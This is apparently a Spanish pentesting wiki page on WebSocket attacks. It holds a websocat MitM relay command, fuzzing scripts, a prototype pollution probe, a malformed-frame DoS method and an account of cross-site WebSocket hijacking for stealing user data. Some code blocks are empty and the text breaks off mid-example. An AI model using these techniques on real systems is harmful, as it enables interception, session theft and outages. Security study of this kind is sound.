# Ataques WebSocket {{#include ../banners/hacktricks-training.md}} ## ¿Qué son los WebSockets? Las conexiones WebSocket se establecen mediante un **HTTP** handshake inicial y están diseñadas para ser **de larga duración**, lo que permite mensajería bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean especialmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo. ### Establecimiento de conexiones WebSocket Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede consultar [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen iniciarse desde JavaScript del lado del cliente como se muestra a continuación: ```javascript var ws = new WebSocket("wss://normal-website.com/ws") ``` El protocolo `wss` indica una conexión WebSocket asegurada con **TLS**, mientras que `ws` indica una conexión **no segura**. Durante el establecimiento de la conexión, se realiza un handshake entre el navegador y el servidor sobre HTTP. El proceso de handshake implica que el navegador envíe una solicitud y el servidor responda, como se ilustra en los siguientes ejemplos: El navegador envía una solicitud de handshake: ```javascript GET /chat HTTP/1.1 Host: normal-website.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket ``` Respuesta de handshake del servidor: ```javascript HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: websocket Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= ``` La conexión permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida. **Puntos clave del WebSocket Handshake:** - Los encabezados `Connection` y `Upgrade` señalan el inicio de un WebSocket handshake. - El encabezado `Sec-WebSocket-Version` indica la versión del protocolo WebSocket deseada, normalmente `13`. - Se envía un valor aleatorio codificado en Base64 en el encabezado `Sec-WebSocket-Key`, garantizando que cada handshake sea único, lo que ayuda a prevenir problemas con proxies de caché. Este valor no sirve para autenticación sino para confirmar que la respuesta no es generada por un servidor o caché mal configurado. - El encabezado `Sec-WebSocket-Accept` en la respuesta del servidor es un hash de la `Sec-WebSocket-Key`, verificando la intención del servidor de abrir una conexión WebSocket. Estas características aseguran que el proceso de handshake sea seguro y fiable, allanando el camino para una comunicación en tiempo real eficiente. ### Consola de Linux Puedes usar `websocat` para establecer una conexión raw con un WebSocket. ```bash websocat --insecure wss://10.10.10.10:8000 -v ``` O para crear un servidor websocat: ```bash websocat -s 0.0.0.0:8000 #Listen in port 8000 ``` ### Conexiones websocket MitM Si detectas que clientes están conectados a un **HTTP websocket** desde tu red local actual, podrías intentar un [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\ Una vez que el cliente intente conectarse a ti, puedes usar: ```bash websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ``` ### Enumeración de websockets Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, fingerprint y buscar vulnerabilidades conocidas en websockets automáticamente.** ### Herramientas de depuración de Websocket - **Burp Suite** soporta comunicaciones websockets MitM de una manera muy similar a como lo hace con la comunicación HTTP regular. - La [**socketsleuth**](https://github.com/snyk/socketsleuth) **extensión de Burp Suite** te permitirá gestionar mejor las comunicaciones Websocket en Burp obteniendo el **history**, estableciendo **interception rules**, usando reglas de **match and replace**, usando **Intruder** y **AutoRepeater.** - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capture, intercept, send custom** messages y ver todas las comunicaciones WebSocket y Socket.IO entre el cliente y el servidor. - [**wsrepl**](https://github.com/doyensec/wsrepl) es un **interactive websocket REPL** diseñado específicamente para penetration testing. Proporciona una interfaz para observar **incoming websocket messages and sending new ones**, con un framework fácil de usar para **automating** esta comunicación. - [**https://websocketking.com/**](https://websocketking.com/) es un **sitio web para comunicarse** con otros sitios usando **websockets**. - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona un **sitio web para comunicarse** con otros sitios usando **websockets.** ## Descifrado de Websocket - [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript) - [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/) ## Laboratorio Websocket En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes código para lanzar un sitio web usando websockets y en [**esta publicación**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación. ## Fuzzing de Websocket La extensión de Burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) ahora permite fuzzing también de mensajes WebSocket. Puedes leer más información sobre esto [**aquí**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner). ### WebSocket Turbo Intruder (extensión de Burp) WebSocket Turbo Intruder de PortSwigger aporta scripting en Python al estilo Turbo Intruder y fuzzing de alta tasa para WebSockets. Instálalo desde la BApp Store o desde la fuente. Incluye dos componentes: - Turbo Intruder: mensajería de alto volumen a un único endpoint WS usando motores personalizados. - HTTP Middleware: expone un endpoint HTTP local que reenvía bodies como mensajes WS sobre una conexión persistente, para que cualquier scanner basado en HTTP pueda sondear backends WS. Patrón básico de script para fuzzing de un endpoint WS y filtrar respuestas relevantes: ```python def queue_websockets(upgrade_request, message): connection = websocket_connection.create(upgrade_request) for i in range(10): connection.queue(message, str(i)) def handle_outgoing_message(websocket_message): results_table.add(websocket_message) @MatchRegex(r'{\"user\":\"Hal Pline\"') def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` Usa decoradores como `@MatchRegex(...)` para reducir el ruido cuando un solo mensaje provoca múltiples respuestas. ### Puente WS detrás de HTTP (HTTP Middleware) Envuelve una conexión WS persistente y reenvía los cuerpos HTTP como mensajes WS para pruebas automatizadas con escáneres HTTP: ```python def create_connection(upgrade_request): connection = websocket_connection.create(upgrade_request) return connection @MatchRegex(r'{\"user\":\"You\"') def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` Luego envía HTTP localmente; el body se reenvía como el mensaje WS: ```http POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 16 {"message":"hi"} ``` Esto te permite controlar backends WS mientras filtras eventos “interesantes” (p. ej., errores de SQLi, auth bypass, comportamiento de command injection). ### Socket.IO handling (handshake, heartbeats, events) Socket.IO añade su propia encapsulación sobre WS. Detéctalo mediante el parámetro de consulta obligatorio `EIO` (p. ej., `EIO=4`). Mantén la sesión viva con Ping (`2`) y Pong (`3`) y comienza la conversación con `"40"`, luego emite eventos como `42["message","hello"]`. Ejemplo de Intruder: ```python import burp.api.montoya.http.message.params.HttpParameter as HttpParameter def queue_websockets(upgrade_request, message): connection = websocket_connection.create( upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) connection.queue('40') connection.queue('42["message","hello"]') @Pong("3") def handle_outgoing_message(websocket_message): results_table.add(websocket_message) @PingPong("2", "3") def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` Variante de adaptador HTTP: ```python import burp.api.montoya.http.message.params.HttpParameter as HttpParameter def create_connection(upgrade_request): connection = websocket_connection.create( upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) connection.queue('40') connection.decIn() return connection @Pong("3") def handle_outgoing_message(websocket_message): results_table.add(websocket_message) @PingPong("2", "3") def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` ### Detectando prototype pollution del lado del servidor mediante Socket.IO Siguiendo la técnica de detección segura de PortSwigger, intenta contaminar los internals de Express enviando un payload como: ```json {"__proto__":{"initialPacket":"Polluted"}} ``` Si los saludos o el comportamiento cambian (p. ej., echo incluye "Polluted"), probablemente causaste prototype pollution en el servidor. El impacto depende de los sinks alcanzables; correlaciónalo con los gadgets en la sección de Node.js prototype pollution. Ver: - Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas. ### WebSocket race conditions with Turbo Intruder El engine por defecto agrupa mensajes en una sola conexión (alto throughput, malo para condiciones de carrera). Usa el engine THREADED para abrir múltiples conexiones WS y disparar payloads en paralelo para provocar race logic (double‑spend, token reuse, state desync). Empieza desde el script de ejemplo y ajusta la concurrencia en `config()`. - Aprende la metodología y alternativas en [Race Condition](race-condition.md) (ver “RC in WebSockets”). ### WebSocket DoS: malformed frame “Ping of Death” Crea frames WS cuyo header declara una longitud de payload enorme pero no envía cuerpo. Algunos servidores WS confían en la longitud y pre‑asignan buffers; ajustarla cerca de `Integer.MAX_VALUE` puede causar Out‑Of‑Memory y un DoS remoto sin autenticación. Ver el script de ejemplo. ### CLI and debugging - Headless fuzzing: `java -jar WebSocketFuzzer-.jar ` - Habilita el WS Logger para capturar y correlacionar mensajes usando IDs internos. - Usa los helpers `inc*`/`dec*` sobre `Connection` para ajustar el manejo de IDs de mensaje en adapters complejos. - Decorators como `@PingPong`/`@Pong` y helpers como `isInteresting()` reducen el ruido y mantienen las sesiones vivas. ### Operational safety El fuzzing WS a alta tasa puede abrir muchas conexiones y enviar miles de mensajes por segundo. Frames malformados y tasas altas pueden provocar DoS real. Úsalo solo donde esté permitido. ## Cross-site WebSocket hijacking (CSWSH) **Cross-site WebSocket hijacking**, también conocido como **cross-origin WebSocket hijacking**, se identifica como un caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afecta los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican únicamente mediante **HTTP cookies** sin **CSRF tokens** u otras medidas de seguridad similares. Los atacantes pueden explotarla hospedando una **página web maliciosa** que inicia una conexión WebSocket cross-site hacia la aplicación vulnerable. Como consecuencia, esa conexión se trata como parte de la sesión de la víctima con la aplicación, explotando la falta de protección CSRF en el manejo de sesiones. Para que este ataque funcione, se requieren: - La autenticación del websocket **debe basarse en cookies** - La cookie debe ser accesible desde el servidor del atacante (esto suele implicar **`SameSite=None`**) y no debe estar habilitado **Firefox Total Cookie Protection** en Firefox ni tener **third-party cookies bloqueadas** en Chrome. - El servidor websocket no debe verificar el origin de la conexión (o esto debe ser evadible) Además: - Si la autenticación se basa en una conexión local (a localhost o a una red local) el ataque **será posible** ya que no existe una protección actual que lo impida (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)) ### Simple Attack Ten en cuenta que al **establecer** una **websocket** conexión la **cookie** se **envía** al servidor. El **servidor** podría usarla para **relacionar** a cada **usuario** específico con su **sesión websocket** basada en la cookie enviada. Entonces, si por **ejemplo** el **servidor websocket** **devuelve el historial de la conversación** de un usuario si se envía un msg con "**READY**", entonces un **simple XSS** que establezca la conexión (la **cookie** será **enviada** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**. ```html ``` ### Cross Origin + Cookie con un subdominio diferente En este blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **execute arbitrary Javascript in a subdomain** del dominio donde se estaba produciendo la comunicación del web socket. Como era un **subdomain**, la **cookie** se estaba **sent**, y debido a que el **Websocket didn't check the Origin properly**, fue posible comunicarse con él y **steal tokens from it**. ### Robar datos del usuario Copia la aplicación web que quieras suplantar (los archivos .html, por ejemplo) y dentro del script donde se está realizando la comunicación websocket añade este código: ```javascript //This is the script tag to load the websocket hooker ; //These are the functions that are gonig to be executed before a message //is sent by the client or received from the server //These code must be between some